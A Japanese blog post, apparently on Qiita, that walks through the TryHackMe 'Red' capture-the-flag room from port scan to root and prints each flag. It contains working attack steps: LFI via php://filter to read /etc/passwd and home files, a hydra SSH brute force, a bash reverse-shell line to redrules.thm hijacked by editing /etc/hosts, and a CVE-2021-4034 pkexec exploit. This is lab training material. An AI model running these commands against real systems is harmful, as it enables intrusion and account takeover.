1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Red:Walkthrough

1
Posted at

概要

TryHackMe「Red」のWalkthroughです。

Task1

Q1.What is the first flag?

ポートスキャンをします。

$ sudo nmap -Pn -T4 -sCV -A -p- 10.48.188.80 -oN nmap_result
[sudo] password for kali: 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-18 23:10 -0400
Nmap scan report for 10.48.188.80
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2:74:1c:e0:f7:86:4d:69:46:f6:5b:4d:be:c3:9f:76 (RSA)
|   256 fb:84:73:da:6c:fe:b9:19:5a:6c:65:4d:d1:72:3b:b0 (ECDSA)
|_  256 5e:37:75:fc:b3:64:e2:d8:d6:bc:9a:e6:7e:60:4d:3c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-title: Atlanta - Free business bootstrap template
|_Requested resource was /index.php?page=home.html
|_http-server-header: Apache/2.4.41 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41

80番ポートにアクセスすると、Webページを確認できました。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://10.48.188.80           
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Red/reports/http_10.48.188.80/_26-04-18_23-12-58.txt

Target: http://10.48.188.80/

[23:12:58] Starting: 
[23:13:04] 403 -  277B  - /.ht_wsr.txt                                      
[23:13:04] 403 -  277B  - /.htaccess.bak1                                   
[23:13:04] 403 -  277B  - /.htaccess.sample                                 
[23:13:04] 403 -  277B  - /.htaccess_orig
[23:13:04] 403 -  277B  - /.htaccess.orig                                   
[23:13:04] 403 -  277B  - /.htaccess_extra                                  
[23:13:04] 403 -  277B  - /.htaccess_sc                                     
[23:13:04] 403 -  277B  - /.htaccess.save
[23:13:04] 403 -  277B  - /.htaccessOLD
[23:13:04] 403 -  277B  - /.htaccessBAK
[23:13:04] 403 -  277B  - /.htaccessOLD2
[23:13:04] 403 -  277B  - /.htm                                             
[23:13:04] 403 -  277B  - /.html
[23:13:05] 403 -  277B  - /.htpasswd_test                                   
[23:13:05] 403 -  277B  - /.htpasswds                                       
[23:13:05] 403 -  277B  - /.httr-oauth
[23:13:06] 403 -  277B  - /.php                                             
[23:13:12] 200 -    2KB - /about.html                                       
[23:13:25] 301 -  313B  - /assets  ->  http://10.48.188.80/assets/          
[23:13:25] 200 -  481B  - /assets/
[23:13:33] 200 -    2KB - /contact.html                                     
[23:13:43] 200 -    4KB - /home.html                                        
[23:14:04] 200 -  675B  - /readme.md                                        
[23:14:04] 200 -  388B  - /readme.txt                                       
[23:14:06] 403 -  277B  - /server-status                                    
[23:14:06] 403 -  277B  - /server-status/                                   
[23:14:08] 200 -    2KB - /signup.html                                      
[23:14:08] 200 -    2KB - /signin.html

/signup.htmlで認証フォームを発見しましたがダミーフォームで、サーバーに通信は飛んでいませんでした。

image.png

他ページのURLを確認すると、/index.php?page=<file name>のようになっており、LFIが出来そうです。

phpスキーマを利用してindex.phpの処理を確認します。
/index.php?page=php://filter/convert.base64-encode/resource=index.php

出力結果をBase64デコードし、確認します。

index.php
<?php 

function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>

pageパラメータにサニタイズが以下条件で行われています。

  • ../の文字列があれば削除
  • ./の文字列があれば削除
  • 先頭の文字列がa-z内のどれかであること

phpスキーマを問題なく使用できそうなので、/etc/passwdを確認します。
/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
blue:x:1000:1000:blue:/home/blue:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
red:x:1001:1001::/home/red:/bin/bash

blue,redのユーザーアカウントを確認できました。
同様の手法で/home/blue/.bash_historyを確認します。

.bash_history
echo "Red rules"
cd
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt
cat passlist.txt
rm passlist.txt
sudo apt-get remove hashcat -y

hashcatの引数から.reminderファイルの存在を確認できました。
LFIを利用して.reminderを読み取ります。

http://10.48.188.80/index.php?page=php://filter/convert.base64-encode/resource=/home/blue/.reminder

パスワードの平文を確認できました。

$ echo "c3VwM3JfcEBzJHcwcmQhCg==" | base64 -d
sup3r_p@s$w0rd!

コマンド実行履歴から、hashcatでこの平文をもとにパスワードリストを生成していると分かります。
生成したパスワードリストでSSHの認証を突破できる可能性があります。
Kaliで同様にパスワードリストを生成します。

$ hashcat --stdout ./reminder -r /usr/share/hashcat/rules/best66.rule > passlist.txt

生成されたパスワードリストで辞書攻撃を行うと、パスワードが判明しました。

$ hydra -f -l blue -P passlist.txt 10.48.188.80 ssh

[22][ssh] host: 10.48.188.80   login: blue   password: sup3r_p@s$w0sup3r_p@s$w0

しばらくするとパスワードが変わるため、その都度Hydraで辞書攻撃を実施

blueアカウントにSSH接続が出来ました。

$ ssh blue@10.48.188.80
blue@red:~$ id
uid=1000(blue) gid=1000(blue) groups=1000(blue)

1つ目のフラグを入手できました。

blue@red:~$ cat flag1 
THM{Is_thAt_all_y0u_can_d0_blU3?}

A.THM{Is_thAt_all_y0u_can_d0_blU3?}

Q2.What is the second flag?

pspyでプロセスを監視します。

blue@red:/tmp$ ./pspy32
pspy - version: 1.2.1 - Commit SHA: kali


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/04/19 04:42:44 CMD: UID=0     PID=45663  | /lib/systemd/systemd-udevd 
2026/04/19 04:42:44 CMD: UID=1000  PID=45656  | ./pspy32 
2026/04/19 04:42:44 CMD: UID=1001  PID=45641  | bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &                                                                                                      
2026/04/19 04:42:44 CMD: UID=1000  PID=45602  | -bash

redrules.thm:9001と接続をしているプロセスを発見しました。
bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &

redrules.thmがローカルで名前解決されているか確認します。
IPの紐づけはされていますが、該当するIPに通信はできませんでした。

blue@red:/tmp$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 red
192.168.0.1 redrules.thm

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouter

/etc/hostsに書き込み権限があることを確認します。

blue@red:/tmp$ ls -la /etc/hosts
-rw-r--rw- 1 root adm 242 Apr 19 04:42 /etc/hosts

redrules.thmがKaliのIPと紐づくように設定します。

blue@red:/tmp$ echo "192.168.183.253 redrules.thm" >> /etc/hosts

Kaliで待ち受けているとredのシェルを取得できました。

$ nc -lvnp 9001                                      
listening on [any] 9001 ...
connect to [192.168.183.253] from (UNKNOWN) [10.48.188.80] 37576
bash: cannot set terminal process group (45776): Inappropriate ioctl for device
bash: no job control in this shell
red@red:~$ id
id
uid=1001(red) gid=1001(red) groups=1001(red)

2つ目のフラグを入手できました。

red@red:~$ cat flag2 
cat flag2
THM{Y0u_won't_mak3_IT_furTH3r_th@n_th1S}

A.THM{Y0u_won't_mak3_IT_furTH3r_th@n_th1S}

Q3.What is the third flag?

.gitファイルを確認すると、pkexecにSUIDが設定されていることを確認できました。

red@red:~$ ls -la .git
ls -la .git
total 40
drwxr-x--- 2 red  red   4096 Aug 14  2022 .
drwxr-xr-x 4 root red   4096 Aug 17  2022 ..
-rwsr-xr-x 1 root root 31032 Aug 14  2022 pkexec

pkexecのバージョンを確認すると、0.105だと分かりました。

red@red:~/.git$ /home/red/.git/pkexec --version
/home/red/.git/pkexec --version
pkexec version 0.105

該当バージョンにはCVE-2021-4034の脆弱性があります。

PoCは以下リポジトリを使用しました。
pythonなので実行が楽です。

pkexecのパスをターゲットの環境に合わせて編集します。

CVE-2021-4034.py
# Call execve() with NULL arguments
libc.execve(b'/home/red/.git/pkexec', c_char_p(None), environ_p)

PoCをターゲットマシン上に設置し実行すると、root権限を取得できました。

red@red:/tmp$ python3 CVE-2021-4034.py
python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
id
uid=0(root) gid=1001(red) groups=1001(red)

3つ目のフラグを入手できました。

# cat flag3 
cat flag3
THM{Go0d_Gam3_Blu3_GG}

A.THM{Go0d_Gam3_Blu3_GG}

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?